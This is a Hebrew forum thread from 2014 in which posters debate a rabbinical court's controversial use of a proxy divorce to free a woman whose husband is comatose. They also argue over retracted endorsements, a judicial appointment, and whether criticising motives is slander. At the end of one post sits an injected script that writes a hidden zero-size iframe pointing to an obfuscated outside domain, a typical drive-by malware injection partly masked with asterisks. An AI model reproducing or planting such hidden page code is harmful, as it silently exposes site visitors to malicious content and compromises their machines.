|
|
| נשלח ב-1/6/2014 06:34 |
 |
| |
מיכי >הפסק המפורט יותר בדין זיכוי גט קיים אצלי בקובץ וורד (93 עמודים, לכן אני לא מעלה אותו לכאן< ברשותך העליתי אותו כאן: https://db.tt/ArKLNNxr
|
|
|
|
|
| נשלח ב-1/6/2014 21:07 |
|
| |
בבדיקה חוזרת, המתיר בפרשת הגט מבוכרא היה הר"י קלמס, הרב עוזיאל הוא שהתנגד לזיכוי בהולכת הגט (הגט נכתב בציווי הבעל). החזו"א התנגד מטעמים אחרים (גט של הדיוטות, קיום לחתימות, כתיבת שם משפחה בגט) משום שלפי התרגום מפרסית, נראה שעובדי הדואר מונו לשליחים.
|
|
|
|
| נשלח ב-2/6/2014 22:57 |
|
| |
הרב גולדברג חזר בו,
|
|
|
|
| נשלח ב-3/6/2014 00:17 |
|
| |
יעבץ,
ביקורת זה דבר לגיטימי, ואני שותף לרבות מהביקורות על פסה"ד. אבל לשון הרע אינה לגיטימית. אתה טוען בלי שום בסיס שהרב לביא פסק כך כדי להתמנות לבי"ד הגדול. מעבר לזה שזו טענה מגוחכת כשלעצמה (חתמו איתו עוד שני דיינים שלא מועמדים לשם. וחוצמזה סביר מאד שפסיקה כזאת רק מרחיקה אותו משם עקב השמרנות הידועה של מערכת בתי הדין וכפיפותם לרבנות החרדית), יש כאן לשון הרע בלי שום בסיס.
עד שאתה מאשים אותם בכך שלא נהגו על פי ההלכה, הייתי מצפה ממך לנהוג על פיה.
|
|
|
|
| נשלח ב-3/6/2014 00:19 |
|
| |
ועוד הערה. התנהגותו של הגרז"נ בפרשייה היא יותר מתמוהה. פוסק בשיעור קומתו שמובא לפניו פסק תקדימי ומהפכני כל כך, ושיודע שזה ישפיע על פסיקות עתידיות ועל גורלה של האישה דנן, ושיודע את מעמדו והשפעתו, לא יכול להסכים לפלפולא בעלמא. מי בא להתפלפל אתו בכלל? זה רציני? ואם הוא חושב שהפסק נכון אבל לא נכון היה לפרסם, האם בגלל זה הוא מוכן לעגן את האישה הזאת? זה ממש אבסורדי, אם כי לצערי די טיפוסי למנהיגות ההלכתית בימינו.
|
|
|
|
| נשלח ב-3/6/2014 04:19 |
|
| |
http://www.bholworld.com/article.aspx?id=68982&cat=6&scat=40 >על פי הדיווחים, טוענים מקורביו שהוא חזר בו משתי סיבות. האחת, שהדיינים מצפת לא עמדו בהתחייבותם , שיהיה רב נוסף בעל מעמד הולם בעולם הרבני שיצטרף ויחתום על פסק הדין...< ממה הוא חזר בו? מדוע לא נראים לי דבריהם ? אני מאמין לטענת בה"ד (בפסה"ד עמוד 2) שהרב גולדברג, "לאחר שעיין בתמצית הדברים כפי שעלו על הכתב בתחילה, לבסס זיכוי הגט בנסיבות המיוחדות הללו, כתב בלשון זו: "אחר שקראתי מה שכתב והאריך הגאון ר' אוריאל לביא ודבריו נכונים מאוד ואני מצטרף לדעתו להתיר במקרה המיוחד שלפנינו". בית הדין לא היה זקוק להסכמת איש, כדי לפסוק כדעתו, אבל מקובל שבפסקי דין "בעייתיים", פנים לאחרים להסכמה, למרות שהדבר לא היה נחוץ. ראה לדוגמה ב"שו"ת בית יוסף", דיני גוי מסיח לפי תומו סימן ד: "... איני רוצה לסמוך על כך באיסור ערוה החמורה, אכן אם יסכימו שני חכמים מפורסמים לבעלי הוראה להתיר, גם אני נעשה סניף להם. ומה שנראה לעניות דעתי כתבתי, נאם הטרוד והעלוב יוסף בכמהר"ר אפרים קארו זלה"ה".
תוקן על ידי נישטאיך ב- 03/06/2014 04:40:54
|
|
|
|
| נשלח ב-5/6/2014 00:32 |
|
| |
כתבה אתר הארץ, לגבי פסק הדין והמינוי לבית הדין הגדול:
מינוי הדיינים, מאורע נדיר בפני עצמו, מתלכד בימים אלה באירוע מכונן בתולדות בתי הדין בישראל – הנוגע לפרשת העגונה שהותרה בבית הדין הרבני בצפת. הרב אוריאל לביא, אב בית הדין מצפת, הוא מועמד לבית הדין הרבני הגדול, שמועמדותו נמצאת כעת בצל פסק הדין שנתן לפני חודשיים וחצי, המסעיר את קהילת הדיינים ואת האקדמיה בישראל. הוא ושני הדיינים שלצדו התירו את האשה, שבעלה מחוסר הכרה, תוך שימוש בהליך הלכתי נדיר, גט זיכוי, וזאת נגד דעתו של הרב הראשי יצחק יוסף.
נכונותו לפסוק באופן נועז כדי להתיר אשה מעגינותה מעמתת את לביא בימים אלה עם דיינים בכירים בעולם החרדי, אבל הפכה אותו למועמד מועדף על ידי ארגוני הנשים (עד לאחרונה חלקם הסתייגו מלביא, שבעניינים מסוימים הוא נחשב לשמרן). בזמן שלביא נאבק כעת על שמו הטוב מול יריביו בעולם החרדי, שמוציאים נגדו מכתבים על חדשנותו בהלכה, הוא צפוי לקבל גם רוח גבית מהשרה ציפי לבני, בתוך הוועדה למינוי דיינים. הנעלם הגדול הוא עד היכן תגיע ההתנגדות החרדית, והאם היא תגרום ללבני לזנוח את תמיכתה בלביא כדי להשיג הסכמה פוליטית בוועדה.
מקור: http://www.haaretz.co.il/news/education/.premium-1.2339250
 |
|
|
|
|
| נשלח ב-5/6/2014 00:33 |
|
| |
שימוש בטענת לה"ר נגד ביקורת ציבורית לגיטימית, הקושרת 1 + 1, היא צביעות.
|
|
|
|
| נשלח ב-5/6/2014 17:46 |
|
| |
יעבץ, כעת עברנו מהתנהגות מנוגדת להלכה לבעיות חמורות בלוגיקה (1+1 = 3, אם אשתמש בדוגמה שלך).
היכן בכל מה שהבאת אתה רואה בדל רמז לכך שהפסק מיועד כדי להיבחר לביה"ד הגדול? לכל היותר אתה יכול לטעון (בטעות לדעתי) שהפסק אכן יסייע לו להיבחר. כידוע קורלציה בין שני דברים לא בהכרח מצביעה על יחס סיבתי (או תכליתי) ביניהם.
אם כן, אני חוזר שוב ואומר שמדובר בשטות (כי זה לא יעזור לו אלא יפריע לו, כפי שהסברתי), ומעבר לזה גם לא הבאת בדל ראיה לדבריך. לכן אין כאן "ביקורת ציבורית לגיטימית" כלשונך, אלא שקר חסר בסיס ולה"ר.
בה במידה אני יכול להאשים אותך שאתה כותב את השטות הלא מבוססת הזאת כדי להיבחר במקומו, או כדי לסייע למישהו אחר להיבחר, או כדי לקדם אג'נדה כזו או אחרת.
אז אני מעדיף ללקות ב"צביעות" (כהגדרתך המגוחכת), מאשר בבעיות לוגיות והלכתיות. ובוודאי כשאני מבקר מישהו בשם ההלכה.
|
|
|
|
| נשלח ב-6/6/2014 05:57 |
|
| |
התגובה החרדית התקנית, דבריו סולפו, אף אם הם הוקלטו או נכתבו על ידו:
|
|
|
|
| נשלח ב-8/6/2014 11:54 |
|
| |
לטעון נגד הקשר הלוגי בין הפסק למינוי - זה טיעון ענייני.
לטעון שזה לה"ר, זו צביעות, משום שהשיפוט בעניני ציבור, כולל בעניני פיקוח נפש מודיעין וביטחון, מתבסס על אומדן הקשר הסיבתי בין שני אירועים, ברמת הסבירות שיש כאן. השימוש בטיעון של לה"ר נעשה באופן סלקטיבי, ואיננו מונע מן הטוען הבעת ביקורת ציבורית, הכרוכה בשיפוט מן הסוג דנן.
אגב, איסור לה"ר הוצא לגמרי ממשמעותו המקורית. על פי הרמב"ם בדין אפי תלתא, כאשר כוונת הדובר היא עניינית, איננה רדיפה אישית, ויש מידתיות בין הערך המוגן לבין הביקורת, אין איסור לה"ר.
|
|
|
|
| נשלח ב-8/6/2014 15:02 |
|
| |
בחוצות בני ברק מתפרסמת מודעה-
"מחאה גלויה"-
מטעם בד"ץ העד"ח
שמתירים א"א לשוק
וכל רב צריך להימנע וכו' וכי"ב
|
|
|
|
| נשלח ב-8/6/2014 23:46 |
|
| |
קראתי רק את הנאמר באתר "דעת", ולמעשה לא קראתי אלא עברתי מלמעלה.
חלילה לזרעו של אבא לקלקל שיחרור של אשה עגונה מכבליה, אבל הדברים שראיתי, אפילו מלמעלה, אין בהם ממש.
למעשה, יעבץ כבר כתב לעיל את הביקורת על הפסק - וזו ביקורת שונה מן הביקורת על המניעים. מניעים פסולים או כשרים הם ענין אחד, פסק שמנוגד למקורות זה ענין אחר.
ראיתי שני נימוקים ב"דעת" ושניהם יש להם בעיות.
א. אדעתא דהכי לא נתקדשה. כלומר, כאילו היה תנאי בקידושין מלכתחילה, שאילו היתה יודעת שסופה להיות עגונה במצב של היום, לא היתה מסכימה. וזה חל למפרע.
כל זה היה אפשר, אולי, לומר במקרה כזה שקרה לבעל איזה אונס שהיה סביר שיהיה. לכן יכלה האשה להעלות זאת בדעתה, לכן זה היה בדעתה ובדעת כל אדם. אבל לומר שסביר שיהיה צמח, זאת מנלן?
לשון אחר: אין מחפשים פתח בנולד כה יוצא דופן.
ב. כפי שכתב יעבץ, גם מן הציטוט מן החזו"א ומן הגמרא שלפניו מבואר שהיה גילוי דעת של הבעל שרצה לגרש, ובסופו של דבר היה מקום להסתפק אם חזר בו או אם נפסל מגירושין (לא עיינתי). סוף סוף היתה נקודת זמן של גילוי רצון לגט, שבלעדיה אין גט כלל.
כבר הזכירו כאן דוגמאות לסוגיות שבהן יש מקרים עצובים שאשה היתה רוצה להשתחרר, ואין את התקנה המפתיעה הזו.
וביתר קיצור:
אין האיש מגרש אלא לרצונו. ואין זה מספיק לומר ש"זכות היא לו" כי צריך גם לרצות את הזכות.
כל זה לענין דינא דגמרא (המקורות).
מצד שני, אפשר לומר סברה: האין עלינו לחוש לטובתה של אותה אומללה? האם אין צורך למצוא לה תקנה?
דא עקא, שבמקורות התלמודיים אין לנו הצדקה להיתר כלשהו לגירושין או לביטול קידושין. אפשר להציע תקנות חדשות, ואפשר לחפש טיעונים ואפילו קלושים לטובתה. אבל לא ראיתי שום דבר שיש בו ממש.
הכותב בצער
והחפץ בהיתרה אילו רק היה נימוק אפשרי
הק' מ'
______תוקן כדי להבהיר את הביקורת בסעיף 1___________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 08/06/2014 23:47:33
|
|
|
|
|
| נשלח ב-9/6/2014 00:02 |
|
| |
מיימוני, טענתך שסברת אדעתא דהכי שייכת רק בנסיבות שסביר שיקרו אינה נכונה בסברא. אמנם יש בזה מחלוקת ראשונים ואחרונים, אבל מעודי תמהתי על אלו הסוברים כמוך.
בפשטות זה בדיוק הפוך: אם המקרה הוא צפוי אז הייתי מצפה שהיא תתנה להדיא, ואם לא התנתה אז כנראה סברה וקיבלה. ודווקא במקרה לא צפוי אין ריעותא מזה שהיא לא התנתה.
|
|
|
|
|
